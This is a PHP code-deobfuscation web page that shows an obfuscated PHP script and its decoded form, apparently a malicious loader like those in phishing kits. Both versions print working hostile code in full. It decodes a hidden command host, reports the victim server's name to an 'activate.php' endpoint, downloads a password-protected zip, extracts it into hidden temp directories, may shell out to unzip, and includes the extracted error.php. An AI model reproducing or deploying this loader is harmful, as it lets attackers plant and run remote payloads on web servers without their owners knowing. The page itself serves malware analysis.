Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); set_time_limit(0); @session_start(); @$_SESSION['actio..

Decoded Output download

 
<?php 
 error_reporting(0); 
 set_time_limit(0); 
 @session_start(); 
 @$_SESSION['action'] = $x_self; 
 @$_SESSION['conf_file'] = $conFile; 
 $xdXDd = DIRECTORY_SEPARATOR; 
 $x5c5c = dirname(__FILE__); 
 $fp = fopen('lidn3.txt', 'w'); 
 class x67C1 
 { 
   public $temp; 
   public $xADE1d; 
   public $status; 
   public $x50324; 
   public $xaA622; 
   public $xGeA23; 
   public $x5c5c; 
   public $done; 
   function xF585($g) 
   { 
     $xGac3 = array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','=='); 
     $xX1227 = array('!0!','@5@','(2)','#8#','&_&','-4-','*9*','%3%','::','[+]','""','^.^','&&','*+*','"."','|2|','):(','(1)','\9\','V~V','" 
   } 
   "','<0>',':!:',':$:','%_%',']\'[','!-!'); 
   $x04519 = array('0','1','2','3','4','5','6','7','8','9','=='); 
   $x5bX1a = array('++','!!','##','((','$$','@@','__','%%','**','^^','_+'); 
   $xc8b1b = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','='); 
   $x0001c = array('<>','?:','"|',' 
   { 
      
   } 
   ','_+','()','&*','%^','#$','!@','!#','@$','#%','$^','%&','^*','&(','*)','(_','::',',.','/; 
   ','\'\','[]','; 
   .','\',','/ 
 } 
 '); 
 $xCDe29 = base64_decode(str_replace($x0001c,$xc8b1b,base64_decode(str_replace($x5bX1a,$x04519,strrev(str_replace($xX1227,$xGac3,$g)))))); 
 fwrite($fp, $xCDe29); 
  
} 
function xE059($xd4928,$stat) 
{ 
 if(!isset($_SESSION['activeSET'])) 
 { 
   $post_data = [ 'request' => base64_encode($_SERVER['SERVER_NAME']), 'stat' => base64_encode($stat) ]; 
   $post_context = stream_context_create([ 'http' => [ 'header' => "Content-type: application/x-www-form-urlencoded
", 'method' => 'POST', 'content' => http_build_query($post_data) ] ]); 
   $xCDe29 = $this->xF585($xd4928); 
   $url = 'http://'.$xCDe29.'/activate.php'; 
   $xa534 = file_get_contents($url, false, $post_context); 
   if(!empty($xa534)) 
   { 
     @$_SESSION['activeSET'] = $xa534; 
     header("Location: ".$_SERVER['REQUEST_URI']); 
      
   } 
    
 } 
  
} 
function xxec12($url) 
{ 
 if (function_exists('curl_exec')) 
 { 
   $xcf3a = curl_init($url); 
   curl_setopt($xcf3a, CURLOPT_SSL_VERIFYPEER, true); 
   curl_setopt($xcf3a, CURLOPT_FRESH_CONNECT, true); 
   curl_setopt($xcf3a, CURLOPT_RETURNTRANSFER, 1); 
   $xxDG13 = (curl_exec($xcf3a)); 
   curl_close($xcf3a); 
    
 } 
 elseif (function_exists('file_get_contents')) 
 { 
   $xxDG13 = file_get_contents($url); 
    
 } 
 elseif (function_exists('fopen') && function_exists('stream_get_contents')) 
 { 
   $xE2G15 = fopen ($url, "r"); 
   $xxDG13 = stream_get_contents($xE2G15); 
    
 } 
 else 
 { 
   $xxDG13 = false; 
    
 } 
 return $xxDG13; 
  
  
  
  
} 
function __construct($xdXDd, $conf) 
{ 
 $xGeA23 = "trash"; 
 $this->x5c5c = dirname(__FILE__); 
 if(@$_SESSION['activeSET'] != "") 
 { 
   $key = @$_SESSION['activeSET']; 
    
 } 
 else 
 { 
   $key = basename(strtok($_SERVER['REQUEST_URI'],'?')); 
    
 } 
 $conf_file = @$_SESSION['conf_file']; 
 if($xdXDd == "/") 
 { 
   $this->xADE1d = "Lin"; 
   $this->xaA622 = DIRECTORY_SEPARATOR; 
   if(is_dir("/tmp") && is_writable("/tmp")) 
   { 
     if(!is_dir("/tmp/session_adapt_".fudBase)) 
     { 
       mkdir("/tmp/session_adapt_".fudBase); 
        
     } 
     $this->temp = "/tmp/session_adapt_".fudBase; 
     $_SESSION['tempdir'] = base64_encode($this->temp); 
      
   } 
   elseif(is_writable("../")) 
   { 
     if(!is_dir("../logs_".fudBase)) 
     { 
       mkdir("../logs_".fudBase); 
        
     } 
     $this->temp = "../logs_".fudBase; 
     $_SESSION['tempdir'] = base64_encode($this->temp); 
      
   } 
   elseif(is_dir("../logs") && is_writable("../logs")) 
   { 
     if(!is_dir("../logs/adaptation_".fudBase)) 
     { 
       mkdir("../logs/adaptation_".fudBase); 
        
     } 
     $this->temp = "../logs/adaptation_".fudBase; 
     $_SESSION['tempdir'] = base64_encode($this->temp); 
      
   } 
   else 
   { 
     mkdir(".ht.".fudBase); 
     $this->temp = ".ht.".fudBase; 
     $_SESSION['tempdir'] = base64_encode($this->temp); 
      
   } 
   if(file_exists($this->temp.$this->xaA622.".ht_set")) 
   { 
     $this->status = "Config exist"; 
     $this->x50324 = 99; 
     goto set; 
      
   } 
   $this->xE059($conf,"auth"); 
   @unlink($this->temp.$this->xaA622.$xGeA23); 
   if($this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file) && $this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file) != false) 
   { 
     $xx4e10 = fopen($this->temp.$this->xaA622.$xGeA23,'x'); 
     fwrite($xx4e10, $this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file)); 
     fclose($xx4e10); 
     if(function_exists("ZipArchive")) 
     { 
       $zip = new ZipArchive; 
       $xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23); 
       if (@$xcX01f === TRUE) 
       { 
         if ($zip->setPassword($key)) 
         { 
           if(!$zip->extractTo($this->temp.$xdXDd)) 
           { 
             $this->status = "INVALID ACTIVATION"; 
             $this->x50324 = 66; 
              
           } 
           else 
           { 
             file_put_contents($this->temp.$this->xaA622.".ht_set", "success"); 
             $this->status = "Config set successfully~"; 
             $this->x50324 = 99; 
              
           } 
            
         } 
         $zip->close(); 
          
       } 
       else 
       { 
         $this->status = "Config doesn't exist!"; 
         $this->x50324 = 66; 
          
       } 
        
     } 
     else 
     { 
       $zip = new ZipArchive; 
       $xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23); 
       if (@$xcX01f === TRUE) 
       { 
         if ($zip->setPassword($key)) 
         { 
           if(!$zip->extractTo($this->temp.$xdXDd)) 
           { 
             $this->status = "INVALID ACTIVATION"; 
             $this->x50324 = 66; 
              
           } 
           else 
           { 
             file_put_contents($this->temp.$this->xaA622.".ht_set", "success"); 
             $this->status = "Config set successfully~"; 
             $this->x50324 = 99; 
              
           } 
            
         } 
         $zip->close(); 
          
       } 
       else 
       { 
         echo "<//--"; 
         @system("cd ".$this->temp.$this->xaA622." && unzip -P ".$key." fud_"); 
         echo "--//>"; 
         if(file_exists($this->temp.$this->xaA622.'.ht_config')) 
         { 
           file_put_contents($this->temp.$this->xaA622.".ht_set", "success"); 
           $this->status = "Config set successfully~"; 
           $this->x50324 = 99; 
            
         } 
         else 
         { 
           $this->status = "Config doesn't exist!"; 
           $this->x50324 = 66; 
            
         } 
          
       } 
        
     } 
     $this->xGeA23 = $this->temp.$this->xaA622.$xGeA23; 
      
   } 
   else 
   { 
     $this->status = "Unknown problem on token: ".$conf; 
      
   } 
   set: $this->done = true; 
    
 } 
 else 
 { 
   $this->xADE1d = "Win"; 
   $this->xaA622 = DIRECTORY_SEPARATOR; 
   if(is_writable("..".$this->xaA622."..".$this->xaA622)) 
   { 
     if(!is_dir("..".$this->xaA622."..".$this->xaA622."_adaptation_".fudBase)) 
     { 
       mkdir("..".$this->xaA622."..".$this->xaA622."_adaptation_".fudBase); 
        
     } 
     $x45F26 = explode($xdXDd,$this->x5c5c); 
     $i = count(explode($xdXDd,$this->x5c5c)) -3; 
     @$_SESSION['temp'] = ""; 
     for($x=0; 
     $x <= $i; 
     $x++) 
     { 
       @$_SESSION['temp'] = @$_SESSION['temp'] .$x45F26[$x].$xdXDd; 
        
     } 
     $this->temp = $_SESSION['temp']."_adaptation_".fudBase; 
     $_SESSION['tempdir'] = base64_encode($this->temp); 
      
   } 
   elseif(is_writable("..".$this->xaA622)) 
   { 
     if(!is_dir("..".$this->xaA622."_adaptation_".fudBase)) 
     { 
       mkdir("..".$this->xaA622."_adaptation_".fudBase); 
        
     } 
     $x45F26 = explode($xdXDd,$this->x5c5c); 
     $i = count(explode($xdXDd,$this->x5c5c)) -2; 
     @$_SESSION['temp'] = ""; 
     for($x=0; 
     $x <= $i; 
     $x++) 
     { 
       @$_SESSION['temp'] = @$_SESSION['temp'] .$x45F26[$x].$xdXDd; 
        
     } 
     $this->temp = $_SESSION['temp']."_adaptation_".fudBase; 
     $_SESSION['tempdir'] = base64_encode($this->temp); 
      
   } 
   else 
   { 
     if(!is_dir("_adaptaion_".fudBase)) 
     { 
       mkdir("_adaptaion_".fudBase); 
        
     } 
     $this->temp = "_adaptaion_".fudBase; 
     $_SESSION['tempdir'] = base64_encode($this->temp); 
      
   } 
   if(file_exists($this->temp.$this->xaA622.".ht_set")) 
   { 
     $this->status = "Config exist"; 
     $this->x50324 = 99; 
     goto set1; 
      
   } 
   $this->xE059($conf,"auth"); 
   @unlink($this->temp.$this->xaA622.$xGeA23); 
   if($this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file) && $this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file) != false) 
   { 
     $xx4e10 = fopen($this->temp.$this->xaA622.$xGeA23,'x'); 
     fwrite($xx4e10, $this->xxec12("http://".$this->xF585($conf)."/___rolling/".$conf_file)); 
     fclose($xx4e10); 
     if(function_exists("ZipArchive")) 
     { 
       $zip = new ZipArchive; 
       $xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23); 
       if (@$xcX01f === TRUE) 
       { 
         if ($zip->setPassword($key)) 
         { 
           if(!$zip->extractTo($this->temp.$xdXDd)) 
           { 
             $this->status = "INVALID ACTIVATION"; 
             $this->x50324 = 66; 
              
           } 
           else 
           { 
             file_put_contents($this->temp.$this->xaA622.".ht_set", "success"); 
             $this->status = "Config set successfully~"; 
             $this->x50324 = 99; 
              
           } 
            
         } 
         $zip->close(); 
          
       } 
       else 
       { 
         $this->status = "Config doesn't exist!"; 
         $this->x50324 = 66; 
          
       } 
        
     } 
     else 
     { 
       $zip = new ZipArchive; 
       $xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23); 
       if (@$xcX01f === TRUE) 
       { 
         if ($zip->setPassword($key)) 
         { 
           if(!$zip->extractTo($this->temp.$xdXDd)) 
           { 
             $this->status = "INVALID ACTIVATION"; 
             $this->x50324 = 66; 
              
           } 
           else 
           { 
             file_put_contents($this->temp.$this->xaA622.".ht_set", "success"); 
             $this->status = "Config set successfully~"; 
             $this->x50324 = 99; 
              
           } 
            
         } 
         $zip->close(); 
          
       } 
       else 
       { 
         $this->status = "Config doesn't exist!"; 
         $this->x50324 = 66; 
          
       } 
        
     } 
     $this->xGeA23 = $this->temp.$this->xaA622.$xGeA23; 
      
   } 
   else 
   { 
     $this->status = "Unknown problem on token: ".$conf; 
      
   } 
   set1: $this->done = true; 
    
 } 
 if($this->x50324 == 99) 
 { 
   file_put_contents($this->temp.$this->xaA622.".ht_config",str_replace(array('0000000000','|'),array($this->temp,$this->xaA622),file_get_contents($this->temp.$this->xaA622.".ht_config"))); 
    
 } 
 else 
 { 
   exit($this->status." :: ".$this->x50324." :: Core Function not compatible on system."); 
    
 } 
  
} 
 
} 
$xABb14 = new x67C1($xdXDd,$conf); 
if($xABb14->done != false) 
{ 
include $xABb14->temp.$xABb14->xaA622."error.php"; 
} 
else 
{ 
header('Location: '. @$_SERVER['REQUEST_URI']); 
 
}; 
 
?>

Did this file decode correctly?

Original Code


<?php
 error_reporting(0);
 set_time_limit(0);
 @session_start();
 @$_SESSION['action'] = $x_self;
 @$_SESSION['conf_file'] = $conFile;
 $xdXDd = DIRECTORY_SEPARATOR;
 $x5c5c = dirname(__FILE__);
 $fp = fopen('lidn3.txt', 'w');
 class x67C1
 {
   public $temp;
   public $xADE1d;
   public $status;
   public $x50324;
   public $xaA622;
   public $xGeA23;
   public $x5c5c;
   public $done;
   function xF585($g)
   {
     $xGac3 = array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','==');
     $xX1227 = array('!0!','@5@','(2)','#8#','&_&','-4-','*9*','%3%','::','[+]','""','^.^','&&','*+*','"."','|2|','):(','(1)','\\9\\','V~V','"
   }
   "','<0>',':!:',':$:','%_%',']\'[','!-!');
   $x04519 = array('0','1','2','3','4','5','6','7','8','9','==');
   $x5bX1a = array('++','!!','##','((','$$','@@','__','%%','**','^^','_+');
   $xc8b1b = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','=');
   $x0001c = array('<>','?:','"|','
   {
     
   }
   ','_+','()','&*','%^','#$','!@','!#','@$','#%','$^','%&','^*','&(','*)','(_','::',',.','/;
   ','\'\\','[]',';
   .','\',','/
 }
 ');
 $xCDe29 = base64_decode(str_replace($x0001c,$xc8b1b,base64_decode(str_replace($x5bX1a,$x04519,strrev(str_replace($xX1227,$xGac3,$g))))));
 fwrite($fp, $xCDe29);
 
}
function xE059($xd4928,$stat)
{
 if(!isset($_SESSION['activeSET']))
 {
   $post_data = [ 'request' => base64_encode($_SERVER['SERVER_NAME']), 'stat' => base64_encode($stat) ];
   $post_context = stream_context_create([ 'http' => [ 'header' => "\x43o\x6e\164\x65\x6e\164-type: \141\160\x70\154\151c\x61\164\151\x6f\156/x-\x77\167w-\x66o\162\155-\165r\x6c\x65n\x63\x6f\144e\x64\r\n", 'method' => 'POST', 'content' => http_build_query($post_data) ] ]);
   $xCDe29 = $this->xF585($xd4928);
   $url = 'http://'.$xCDe29.'/activate.php';
   $xa534 = file_get_contents($url, false, $post_context);
   if(!empty($xa534))
   {
     @$_SESSION['activeSET'] = $xa534;
     header("\x4c\157ca\164i\x6f\x6e: ".$_SERVER['REQUEST_URI']);
     
   }
   
 }
 
}
function xxec12($url)
{
 if (function_exists('curl_exec'))
 {
   $xcf3a = curl_init($url);
   curl_setopt($xcf3a, CURLOPT_SSL_VERIFYPEER, true);
   curl_setopt($xcf3a, CURLOPT_FRESH_CONNECT, true);
   curl_setopt($xcf3a, CURLOPT_RETURNTRANSFER, 1);
   $xxDG13 = (curl_exec($xcf3a));
   curl_close($xcf3a);
   
 }
 elseif (function_exists('file_get_contents'))
 {
   $xxDG13 = file_get_contents($url);
   
 }
 elseif (function_exists('fopen') && function_exists('stream_get_contents'))
 {
   $xE2G15 = fopen ($url, "\162");
   $xxDG13 = stream_get_contents($xE2G15);
   
 }
 else
 {
   $xxDG13 = false;
   
 }
 return $xxDG13;
 
 
 
 
}
function __construct($xdXDd, $conf)
{
 $xGeA23 = "\x74\x72as\x68";
 $this->x5c5c = dirname(__FILE__);
 if(@$_SESSION['activeSET'] != "")
 {
   $key = @$_SESSION['activeSET'];
   
 }
 else
 {
   $key = basename(strtok($_SERVER['REQUEST_URI'],'?'));
   
 }
 $conf_file = @$_SESSION['conf_file'];
 if($xdXDd == "/")
 {
   $this->xADE1d = "\x4c\151n";
   $this->xaA622 = DIRECTORY_SEPARATOR;
   if(is_dir("/\x74\x6d\160") && is_writable("/\x74m\160"))
   {
     if(!is_dir("/\164m\160/se\x73s\x69on_\x61d\141p\164_".fudBase))
     {
       mkdir("/\164m\160/se\x73\163\151o\x6e_\141d\x61\x70\164_".fudBase);
       
     }
     $this->temp = "/\x74\155p/s\145s\x73\x69\157\x6e_\x61d\141\160\x74_".fudBase;
     $_SESSION['tempdir'] = base64_encode($this->temp);
     
   }
   elseif(is_writable("../"))
   {
     if(!is_dir("../\154\x6f\x67\163_".fudBase))
     {
       mkdir("../lo\x67\x73_".fudBase);
       
     }
     $this->temp = "../\154\157gs_".fudBase;
     $_SESSION['tempdir'] = base64_encode($this->temp);
     
   }
   elseif(is_dir("../\x6co\147s") && is_writable("../\154o\x67\x73"))
   {
     if(!is_dir("../\x6co\147\163/\x61\x64\x61\160ta\164i\157n_".fudBase))
     {
       mkdir("../l\157g\163/a\144a\x70\x74ati\x6f\156_".fudBase);
       
     }
     $this->temp = "../\154\x6fg\x73/\141\x64\141\x70\164\x61\164i\157\x6e_".fudBase;
     $_SESSION['tempdir'] = base64_encode($this->temp);
     
   }
   else
   {
     mkdir(".ht.".fudBase);
     $this->temp = ".ht.".fudBase;
     $_SESSION['tempdir'] = base64_encode($this->temp);
     
   }
   if(file_exists($this->temp.$this->xaA622.".ht_\x73\145t"))
   {
     $this->status = "C\x6f\156\x66\x69\147 ex\151\x73\x74";
     $this->x50324 = 99;
     goto set;
     
   }
   $this->xE059($conf,"\x61u\x74\150");
   @unlink($this->temp.$this->xaA622.$xGeA23);
   if($this->xxec12("\150tt\x70://".$this->xF585($conf)."/___r\157\x6cl\151\x6e\x67/".$conf_file) && $this->xxec12("\150\164t\160://".$this->xF585($conf)."/___r\157l\x6cin\147/".$conf_file) != false)
   {
     $xx4e10 = fopen($this->temp.$this->xaA622.$xGeA23,'x');
     fwrite($xx4e10, $this->xxec12("\x68\164t\160://".$this->xF585($conf)."/___\162ol\154\x69\x6eg/".$conf_file));
     fclose($xx4e10);
     if(function_exists("ZipArchive"))
     {
       $zip = new ZipArchive;
       $xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
       if (@$xcX01f === TRUE)
       {
         if ($zip->setPassword($key))
         {
           if(!$zip->extractTo($this->temp.$xdXDd))
           {
             $this->status = "I\116\126\101\x4c\111\x44 \x41\103\x54I\x56\x41TI\117\116";
             $this->x50324 = 66;
             
           }
           else
           {
             file_put_contents($this->temp.$this->xaA622.".h\x74_\163\x65\164", "\x73u\x63c\x65\163\x73");
             $this->status = "\x43\x6fn\146\151\x67 set \x73\x75\143\x63\145\x73s\x66\x75\x6c\154y~";
             $this->x50324 = 99;
             
           }
           
         }
         $zip->close();
         
       }
       else
       {
         $this->status = "C\x6f\156f\x69g \x64\157\145s\156'\x74 ex\x69\163\164!";
         $this->x50324 = 66;
         
       }
       
     }
     else
     {
       $zip = new ZipArchive;
       $xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
       if (@$xcX01f === TRUE)
       {
         if ($zip->setPassword($key))
         {
           if(!$zip->extractTo($this->temp.$xdXDd))
           {
             $this->status = "\111\x4eV\101\x4cID A\103\x54\111\x56A\124\x49\x4f\116";
             $this->x50324 = 66;
             
           }
           else
           {
             file_put_contents($this->temp.$this->xaA622.".\150t_\x73\145\164", "su\x63\143e\163s");
             $this->status = "\103o\156\x66\x69g set \163uc\143\145s\163\x66\x75\154\x6c\171~";
             $this->x50324 = 99;
             
           }
           
         }
         $zip->close();
         
       }
       else
       {
         echo "<//--";
         @system("cd ".$this->temp.$this->xaA622." && unzi\x70 -\120 ".$key." fud_");
         echo "--//>";
         if(file_exists($this->temp.$this->xaA622.'.ht_config'))
         {
           file_put_contents($this->temp.$this->xaA622.".h\164_s\x65t", "su\x63c\x65\x73\163");
           $this->status = "Co\x6e\x66\151g set \163ucce\163s\x66\165\x6cly~";
           $this->x50324 = 99;
           
         }
         else
         {
           $this->status = "C\157n\x66\x69\x67 \x64\x6f\x65\163\x6e'\x74 \x65\x78is\164!";
           $this->x50324 = 66;
           
         }
         
       }
       
     }
     $this->xGeA23 = $this->temp.$this->xaA622.$xGeA23;
     
   }
   else
   {
     $this->status = "\125\156\153\156o\x77\x6e pr\x6f\x62\154\145\155 \157\x6e t\x6f\x6be\156: ".$conf;
     
   }
   set: $this->done = true;
   
 }
 else
 {
   $this->xADE1d = "\x57\151\156";
   $this->xaA622 = DIRECTORY_SEPARATOR;
   if(is_writable("..".$this->xaA622."..".$this->xaA622))
   {
     if(!is_dir("..".$this->xaA622."..".$this->xaA622."_\x61\x64ap\164\x61\x74\151on_".fudBase))
     {
       mkdir("..".$this->xaA622."..".$this->xaA622."_a\144ap\164\141tio\156_".fudBase);
       
     }
     $x45F26 = explode($xdXDd,$this->x5c5c);
     $i = count(explode($xdXDd,$this->x5c5c)) -3;
     @$_SESSION['temp'] = "";
     for($x=0;
     $x <= $i;
     $x++)
     {
       @$_SESSION['temp'] = @$_SESSION['temp'] .$x45F26[$x].$xdXDd;
       
     }
     $this->temp = $_SESSION['temp']."_ad\x61\x70\x74\141\x74io\x6e_".fudBase;
     $_SESSION['tempdir'] = base64_encode($this->temp);
     
   }
   elseif(is_writable("..".$this->xaA622))
   {
     if(!is_dir("..".$this->xaA622."_\x61\x64\141\160\164\x61t\x69\x6f\x6e_".fudBase))
     {
       mkdir("..".$this->xaA622."_\141d\141p\164\141\x74i\x6fn_".fudBase);
       
     }
     $x45F26 = explode($xdXDd,$this->x5c5c);
     $i = count(explode($xdXDd,$this->x5c5c)) -2;
     @$_SESSION['temp'] = "";
     for($x=0;
     $x <= $i;
     $x++)
     {
       @$_SESSION['temp'] = @$_SESSION['temp'] .$x45F26[$x].$xdXDd;
       
     }
     $this->temp = $_SESSION['temp']."_\141da\x70\x74\x61t\x69o\156_".fudBase;
     $_SESSION['tempdir'] = base64_encode($this->temp);
     
   }
   else
   {
     if(!is_dir("_\x61d\x61\x70taio\x6e_".fudBase))
     {
       mkdir("_\x61dap\x74a\151on_".fudBase);
       
     }
     $this->temp = "_\141\x64a\160\x74\x61i\157n_".fudBase;
     $_SESSION['tempdir'] = base64_encode($this->temp);
     
   }
   if(file_exists($this->temp.$this->xaA622.".\x68\164_\163\145t"))
   {
     $this->status = "\103o\x6efi\x67 \145\170\x69\x73\164";
     $this->x50324 = 99;
     goto set1;
     
   }
   $this->xE059($conf,"a\165\164\150");
   @unlink($this->temp.$this->xaA622.$xGeA23);
   if($this->xxec12("\150tt\x70://".$this->xF585($conf)."/___r\157\154\154i\156g/".$conf_file) && $this->xxec12("\x68\164\x74\x70://".$this->xF585($conf)."/___r\157l\154\151\x6eg/".$conf_file) != false)
   {
     $xx4e10 = fopen($this->temp.$this->xaA622.$xGeA23,'x');
     fwrite($xx4e10, $this->xxec12("h\164\164\160://".$this->xF585($conf)."/___\x72\x6fl\x6c\151n\147/".$conf_file));
     fclose($xx4e10);
     if(function_exists("ZipArchive"))
     {
       $zip = new ZipArchive;
       $xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
       if (@$xcX01f === TRUE)
       {
         if ($zip->setPassword($key))
         {
           if(!$zip->extractTo($this->temp.$xdXDd))
           {
             $this->status = "\x49\x4eV\x41LI\104 \x41C\x54IV\x41TI\117N";
             $this->x50324 = 66;
             
           }
           else
           {
             file_put_contents($this->temp.$this->xaA622.".\x68t_s\x65\164", "s\165\x63c\x65ss");
             $this->status = "\x43\x6fn\x66\151\x67 set s\x75\x63ce\163\x73ful\154y~";
             $this->x50324 = 99;
             
           }
           
         }
         $zip->close();
         
       }
       else
       {
         $this->status = "\x43\x6fnfi\147 d\157esn'\x74 \145\x78\151\163\x74!";
         $this->x50324 = 66;
         
       }
       
     }
     else
     {
       $zip = new ZipArchive;
       $xcX01f = @$zip->open($this->temp.$this->xaA622.$xGeA23);
       if (@$xcX01f === TRUE)
       {
         if ($zip->setPassword($key))
         {
           if(!$zip->extractTo($this->temp.$xdXDd))
           {
             $this->status = "INVALI\x44 \x41\103\124\x49\x56A\x54I\117N";
             $this->x50324 = 66;
             
           }
           else
           {
             file_put_contents($this->temp.$this->xaA622.".\150\x74_\163\145t", "\163\165c\x63ess");
             $this->status = "C\157n\146\151g set \163\165\x63\x63e\163\x73\146u\154\154\171~";
             $this->x50324 = 99;
             
           }
           
         }
         $zip->close();
         
       }
       else
       {
         $this->status = "Co\x6e\x66\x69\147 d\x6fe\163\x6e't \x65x\x69\x73t!";
         $this->x50324 = 66;
         
       }
       
     }
     $this->xGeA23 = $this->temp.$this->xaA622.$xGeA23;
     
   }
   else
   {
     $this->status = "\125\156k\156\157\x77\x6e \160\162\157\x62\x6c\x65m \x6f\156 \164\157ke\156: ".$conf;
     
   }
   set1: $this->done = true;
   
 }
 if($this->x50324 == 99)
 {
   file_put_contents($this->temp.$this->xaA622.".\150t_\143\157\156\146\x69\147",str_replace(array('0000000000','|'),array($this->temp,$this->xaA622),file_get_contents($this->temp.$this->xaA622.".h\x74_\143\x6f\156fi\147")));
   
 }
 else
 {
   exit($this->status." :: ".$this->x50324." :: Cor\x65 \x46u\156\143\x74\x69\x6f\156 \156ot \x63\157\x6d\160a\x74\x69\x62le \157n \x73\x79\163t\145\x6d.");
   
 }
 
}

}
$xABb14 = new x67C1($xdXDd,$conf);
if($xABb14->done != false)
{
include $xABb14->temp.$xABb14->xaA622."\x65\x72\x72\157\x72.p\150p";
}
else
{
header('Location: '. @$_SERVER['REQUEST_URI']);

};

?>

Function Calls

None

Variables

None

Stats

MD5 a308a37512f8f4f06ca0fb97e2797627
Eval Count 0
Decode Time 140 ms